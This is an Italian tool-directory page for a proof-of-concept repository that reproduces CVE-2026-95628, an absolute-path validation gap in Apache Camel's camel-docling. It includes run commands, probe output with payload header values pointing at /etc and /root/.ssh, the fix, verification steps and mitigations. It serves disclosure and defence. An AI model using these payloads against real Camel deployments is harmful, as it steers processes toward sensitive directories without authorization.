Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-95628 — Proof-of-concept eseguibile che riproduce CVE-2026-95628, una lacuna nella validazione dei percorsi assoluti in Apache Camel camel-docling, con harness Spring Boot e Quarkus e verifica della correzione. | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-95628
Strumenti DifensiviAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e Formazione
GitHuboscerd/cve-2026-95628

CVE-2026-95628

Proof-of-concept eseguibile che riproduce CVE-2026-95628, una lacuna nella validazione dei percorsi assoluti in Apache Camel camel-docling, con harness Spring Boot e Quarkus e verifica della correzione.

Vedi Repository
2 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-95628 — camel-docling: validatePathSafety non rifiutava i percorsi assoluti (correzione incompleta di CVE-2026-40047)

Riproduttore proof-of-concept eseguibile per la vulnerabilità di Apache Camel in cui il controllo del percorso degli argomenti personalizzati introdotto dalla correzione di CVE-2026-40047 cercava solo il traversal relativo. Rifiutava un valore contenente ../ e un valore la cui forma normalizzata conteneva ancora un elemento .. — ma non verificava mai se un valore fosse un percorso assoluto, e un percorso assoluto senza segmenti di traversal non contiene nessuno dei due.

RuntimeDirectoryStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-docling 4.22.1
Camel Quarkuscamel-quarkus/Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0)

Eseguirlo

cd camel-spring-boot          # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down

Output su una build interessata (identico su entrambi i runtime):

1) A relative traversal value, which the CVE-2026-40047 fix does reject
     header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence

2) Traversal hidden behind redundant separators - also rejected (normalized first)
     header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence

3) An ABSOLUTE path, which contains no traversal sequence at all
     header CamelDoclingCustomArguments = [--artifacts-path, /etc]
     argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp

4) The same, attached to the flag after an equals sign
     header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
     argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp

>>> PROVEN: ...

Le sonde 1 e 2 mostrano che la correzione di CVE-2026-40047 fa il suo lavoro. Le sonde 3 e 4 rappresentano la lacuna: il flag è presente nella allowlist di quella correzione (--artifacts-path indica a docling dove trovare i propri artefatti del modello), e il valore passa indisturbato in entrambe le forme di argomento — un elemento di lista separato che segue il flag, e uno allegato dopo un =. Una parte in grado di scegliere gli argomenti personalizzati potrebbe quindi indirizzare il processo docling verso qualsiasi directory a cui il processo Camel può accedere, al di fuori della directory di lavoro in cui il controllo avrebbe dovuto mantenere i valori dei percorsi, che è esattamente il risultato che la correzione precedente mirava a prevenire.

Come è collegato

Nessuna installazione di docling necessaria. Il difetto è nella riga di comando che Camel costruisce, quindi l'opzione doclingCommand dell'endpoint punta a un sostituto che registra il vettore di argomenti ricevuto in un file, al posto della CLI. Vengono eseguiti il vero DoclingProducer, il vero validateCustomArguments() e il vero validatePathSafety(); solo lo strumento esterno viene sostituito.

Solo la modalità CLI, che è quella predefinita, passa gli argomenti personalizzati a docling.

Raggiungibilità

CamelDoclingCustomArguments appartiene al namespace degli header di Camel, che i consumer che applicano il filtro predefinito degli header di Camel — ad esempio i consumer JMS e Kafka — rimuovono dai messaggi in arrivo. Il problema viene quindi raggiunto dove una route inoltra valori influenzati dall'esterno nell'header, o dove un consumer mappa gli header in arrivo senza quel filtro.

Riepilogo della vulnerabilità

ProprietàValore
Componentecamel-docling (DoclingProducer.validatePathSafety())
CWECWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
GravitàMedia
Vettore di attaccoUn percorso assoluto come valore di un flag simile a un percorso presente nella allowlist in CamelDoclingCustomArguments
ImpattoIndirizzare il processo docling verso qualsiasi directory a cui il processo Camel può accedere
Versioni interessateDalla 4.15.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.2
Versioni corrette4.18.5, 4.22.2, 4.23.0
JIRACAMEL-24893
CreditoZhixi "Jace" Sun, ricercatore indipendente di sicurezza

Advisory: https://camel.apache.org/security/CVE-2026-95628.html

Correlato: si tratta di una correzione incompleta di CVE-2026-40047, e l'header del percorso di output dello stesso componente è CVE-2026-95629.

La correzione

validatePathSafety ora rifiuta anche un valore di argomento personalizzato simile a un percorso che sia un percorso assoluto, facendo fallire lo scambio con un'IllegalArgumentException che indica che l'argomento non deve essere un percorso assoluto. Poiché il controllo risiede nell'helper condiviso che convalida ogni valore simile a un percorso, entrambe le forme di argomento sono coperte.

Corretto su main in apache/camel#26738 (fd3bc8e7), backportato su camel-4.22.x in #26743 (e9233c37) e su camel-4.18.x in #26744 (59d30af1).

Verifica di una build corretta

Impostare camel.version su 4.22.2 ed eseguirlo di nuovo. Verificato su 4.22.1 → 4.22.2:

3) An ABSOLUTE path, which contains no traversal sequence at all
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path

4) The same, attached to the flag after an equals sign
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path

>>> NOT reproduced: the absolute path was rejected too.

Mitigazione senza aggiornamento

Non costruire CamelDoclingCustomArguments da valori che provengono dall'esterno del deployment; rimuovi quell'header dai messaggi in arrivo dall'esterno prima che raggiungano un endpoint docling; e assicurati che i consumer che mappano gli header in ingresso scartino il namespace degli header Camel, così che solo la route scelga gli argomenti personalizzati.

Disclaimer

Questo repository è pubblicato per scopi educativi e difensivi: per aiutare gli utenti di Apache Camel a comprendere la vulnerabilità, verificare se sono interessati e confermare che l'aggiornamento la risolve. Non utilizzare questo materiale contro sistemi che non possiedi o non gestisci.

Scarica lo strumento